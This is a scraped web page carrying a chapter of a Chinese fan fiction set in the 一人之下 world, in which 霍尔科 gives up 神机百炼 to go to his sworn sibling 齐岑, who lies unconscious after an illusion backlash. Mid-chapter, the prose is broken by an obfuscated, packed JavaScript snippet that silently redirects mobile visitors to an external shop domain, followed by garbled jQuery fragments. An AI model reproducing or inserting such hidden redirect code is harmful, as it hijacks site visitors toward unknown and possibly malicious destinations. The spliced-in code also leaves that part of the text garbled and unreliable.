文趣网 > 都市小说 > [一人之下]温水煮老王实录 > 32.第三十一章 挣扎
    溪水潺潺,水不深,刚好没过脚裸,霍尔科坐在溪边的大石头上,三两条鱼儿在他脚边晃悠,一晃神,又钻进石缝里。

    “霍老弟,神机百炼这东西,这世上有多少人想求都求不来,我把它放在你面前,是真心想给你。”

    “你是个自由人,现在要走我不拦你。”

    “但你在我这也住了这么些天了,我的意思你也应该明白,有些门,出去了,再想进来,就不一定是同一扇了。”

    刚刚马仙洪的这番话字字珠玑,看似给他留门,实则把他堵到了墙角。

    神机百炼和齐岑,他只能攥住一个。

    霍尔科觉得荒唐,这命运对他的恶意未免也太过赤裸了。

    据诸葛青所说,齐岑陷入了幻术反噬,人沉在幻境里醒不过来,且外力入不了局,谁也帮不了她。

    这无疑给了他一闷棍,气血上涌,当即就想往云南赶,但他发现,他迈不开腿。

    马仙洪所下的最后通牒像一道符咒一样,贴在他的后脑上,循环往复地念。他只觉得双腿突然沉重无比,像生了锈,灌了铅,几乎让他寸步难行。

    一旦他离开碧游村,就意味着他与神机百炼彻底失之交臂。

    神机百炼,那是炼器师穷极一生都未必能望见一眼的终极法门,可遇而不可求,偏偏摆在他眼前,伸手就能够到。

    从他受邀踏入这个村子那天开始,他的目的从始至终都是神机百炼。

    他周旋也好,盘算也罢,但从没想过空手而归。

    他甚至做好了给马仙洪打黑工的准备,只要东西能到手,什么都好说。

    没成想,诸葛青的一通电话把他所有的算盘都掀翻了。

    诸葛青每说一个字,他的心就往下沉一分。

    天边的夕阳开始倾斜,将溪水染成了一条流动的熔金。

    霍尔科低头,溪水清澈见底,他看见了水中的倒影,是他自己的脸。

    这张脸已经不算稚嫩了,眉眼硬朗,轮廓清晰,早已褪去了少年时期的青涩。

    他眨眨眼,水波一晃,倒影碎成金色的鳞片,又慢慢地聚拢回来。那张脸重新出现时,他忽然觉得陌生了。

    十二岁那年的霍尔科,不长这样。

    那时候他瘦得吓人,脸上一点肉都没有,眼神里透着怯懦,像只随时准备挨打的野猫。

    他没有钱,没有家,生长在废墟里,春来秋往,暗无天日。

    是齐岑把他从废墟里拽出来的。她明明比他还小三岁,却总是她照顾他。

    在他十四岁那年,他和齐岑爆发了第一次也是最后一次矛盾。

    起因是“火海之争”,那一年,网络上关于《火影忍者》和《海贼王》的论战,正吵得热闹。

    他当时说了什么,齐岑又说了什么,其实他现在已经记不太清了。无非就是那些翻来覆去吵烂了的车轱辘话,比如你喜欢的那个不如我喜欢的那个或者你懂什么之类的。

    但他记得最后一句话。

    齐岑说,霍尔科,你就是我捡回来的。

    这句话落下来的时候,他一时忘了喘气,等反应过来,他觉得仿佛整个人都被浸在了冰水里,凉入骨髓。

    他凭什么站在这里跟她争论?他配吗?

    她说的没错,他就是她捡回来的。

    “对不起。”齐岑的道歉几乎没有预兆,甚至有些慌乱,她小心翼翼地扯了下他的衣角,语气软下来,“我不是那个意思,你别生气,我以后不说了。”

    那天晚上,他们照常吃饭,三菜一汤,做饭的阿姨来了又走,但他们之间的气氛却好像和以往不一样了。

    半夜十分,齐岑敲开了他房间的门。

    黑暗里,她穿着白色睡裙,披头散发地站在他床边,像一只落了单的小小女鬼。

    她问他,霍尔科,你是不是生气了?你不是……不想在这了?

    她的声音压得很低,低到霍尔科要屏住呼吸才听得清。

    “没有。”他说。

    她没走,杵在那儿沉默了一会儿。又开口说,“我让郑叔叔帮我买了两张周末去宜宾的车票,我们去宜宾。”

    霍尔科虽不解,但也没追问,只配合点头。

    去宜宾那天,下了小雨,到了翠屏山,雨才停歇。

    山上的空气湿漉漉的,石阶上一层薄薄的水光,踩上去有些滑。

    齐岑拽着他的手臂,一步一步走到了哪吒行宫。

    正殿不大,光线偏暗,正中的哪吒神像不算精致,彩漆还有些斑驳,但那双眼睛却出奇得亮。

    “哪吒,剔骨还父,削肉还母,把爹娘给的都还回去,从此以后,他就不是谁的儿子了,他是他自己。”齐岑说。

    霍尔科偏头,殿里香烟缭绕,她的脸隐在烟雾里,有些看不真切。

    “霍尔科,我们拜把子吧。”她又说,“我查过了,拜把子就是自己选的人,以后我们就是兄弟,比血缘还硬。”

    说着,她递给了他三炷香。

    “不是兄妹吗?”他的声音有些干涩。

    齐岑摇了摇头,认真纠正他:“是兄弟。”

    霍尔科忽然觉得鼻子酸。在那个瞬间,他好像被什么东西从水底拽上来,重重地落在地上。

    他低头看捏在手里的三炷香,香火头闷着一团暗红的光,烟往上升,细细的,晃晃悠悠的。

    从那一刻开始,他就在心里发了誓,从此以后,不管天塌地陷,他都护她到底。

    入夜了。

    霍尔科不知道自己在溪边坐了多久,天光从熔金变成了灰蓝,就连潺潺的溪水声都更清晰了。

    他还是无法做出选择。

    那种无法言说的撕裂感就像一把钝刀子,在他的胸口来回拉锯。

    他开始在脑子翻来覆去地算账,试图找到一个两全的可能性,明知道没有,但就是停不下来。

    从成为炼器师的那天起,他就一直在努力,总有人称呼他为天才炼器师,却不知这“天才”二字背后,藏了多少的殚精竭虑。炼器一道,万法归宗,而宗就在神机百炼。放弃它,就等于亲手掐死那个“成为最顶尖炼器师”的自己。

    如果他没有机缘也就算了,但偏偏它近在咫尺。

    每每有放弃的念头升起,他的胃里就一阵绞着疼。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874983|212299||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他在抗拒。

    他做不到。

    没了阳光的照耀,溪水早就冷了。他的脚仍泡在水里,凉意一寸一寸地往上沁,贴着皮肉,最后钻进骨头里。

    他把脚收回来,盘腿坐着,抬头看月亮。

    透过那轮圆月,霍尔科仿佛看见了那个躺在丽江民宿里一动不动的姑娘。

    幻术反噬,外力无法干预,可能永远醒不过来,这些句子堆在一起,一个接一个的在他脑子里冒泡,像石头一样,砸得他头破血流。

    她不是别人,是他在这世上唯一的家人啊。

    他怎么能不管她呢?

    可是……

    可是,他就算去了,又能做什么?

    既然外力无法干预,他去了,也救不了她,他守在床边也不过是干耗着。

    清亮的月光照在他身上,他开始想,如果她醒了,发现他不在,会不会失望?他该怎么面对她?又该怎么面对当年那个在哪吒神像前,接过三炷香的自己?

    如果她醒不了,他失去神机百炼的同时也失去了她,那他的人生还剩下什么?

    霍尔科卡在两个如果之间,进退两难。无论向前向后,脚下都是悬崖。

    为什么?为什么偏偏是他?为什么他要这么残酷的选择?

    他双手插进头发里,用力地弓下背,整个身体都在微微颤抖。

    溪水还在流淌着,哗啦啦的,一声接着一声。

    脑子里有个声音在说话。

    留下来,选择神机百炼。生而为人,谁都是第一次,你要允许自己自私一次,就这一次。

    诸葛青说了,齐岑暂时没有生命危险,所以,你不去也没关系,还有王也呢,王也会去,王也一定会管她。

    他马上就要被这个声音说服了。

    然后,他给了自己一巴掌。

    “啪”的一声,在黑夜里,格外清晰。他的脸颊火辣辣的疼,但他还是觉得这一巴掌扇的太轻了。

    “霍尔科啊霍尔科,你还当不当人了?!”

    你怎么敢的啊?你怎么敢把她交给一个无名无分的男人啊?

    他低头看着自己摊开的双手,一阵颤抖。

    他忽然想起了一件很久以前的小事儿。

    有一年秋天,他烧到三十九度,整个人糊里糊涂的,半夜醒来,发现齐岑就坐在床边,趴在床沿上睡着了。那一年,她十三岁岁。

    是啊,她这般掏心掏肺对他,他又怎么能撇下她不管?

    没有当年的齐岑,就没有现在的霍尔科。

    什么炼器师,什么神机百炼,都是水中倒影。

    脑子的声音渐渐退潮了。

    霍尔科拿出手机,飞快地点了几下,丽江距离成都算不上近,他需要一辆保姆车。他不能让她躺在云南那片陌生的土地上,无论如何,他得带她回家。

    他缓缓起身,膝盖僵得发硬,脚掌落在地面上的瞬间,像踩在棉花上。

    月亮已经西沉了,他低头看了眼手机屏幕上刚订好的保姆车信息,又抬头看了眼那轮月亮。

    “就这样吧。”他对自己说,声音轻得只有他自己能够听见。